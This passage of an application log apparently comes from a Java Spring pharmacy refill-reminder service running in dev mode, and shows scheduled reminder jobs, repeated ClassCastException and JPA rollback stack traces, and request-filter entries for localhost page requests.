PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 23:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 23:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 23:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-26 23:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 23:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 23:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:50:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:50:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:50:01 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:50:01 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:50:01 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:50:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:50:01 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:50:01 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-26 23:50:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:50:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:50:02 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:50:02 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:50:02 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:50:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:50:02 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:50:02 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-26 23:51:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:51:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:51:22 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:51:22 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:51:22 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:51:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:51:22 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:51:22 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/devmode.action 2024-02-26 23:51:23 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:51:23 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:51:23 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:51:23 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:51:23 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:51:23 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:51:23 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:51:23 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/index.action 2024-02-26 23:53:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:53:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:53:40 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:53:40 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:53:40 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:53:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:53:40 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:53:40 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-26 23:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 23:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 23:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:55:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:55:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-26 23:55:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 23:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 23:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 23:55:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 23:55:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 23:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 23:56:47 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:56:47 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:56:47 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:56:47 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:56:47 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:56:47 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:56:47 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:56:47 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-26 23:56:48 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:56:48 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:56:48 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 23:56:48 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 23:56:48 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 23:56:48 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:56:48 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 23:56:48 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-27 00:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 00:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 00:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 00:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 00:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 00:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 00:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 00:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 00:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 00:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 00:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 00:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 00:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 00:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 00:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 00:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 00:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 00:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 00:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 00:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 00:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 00:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 00:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 00:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 00:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 00:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 00:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 00:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 00:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 00:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 00:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 00:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 00:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 00:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 00:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 00:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-27 00:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-27 00:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-27 00:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-27 00:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-27 00:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-27 00:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-27 00:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-27 00:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-27 00:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException 2024-02-27 00:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at 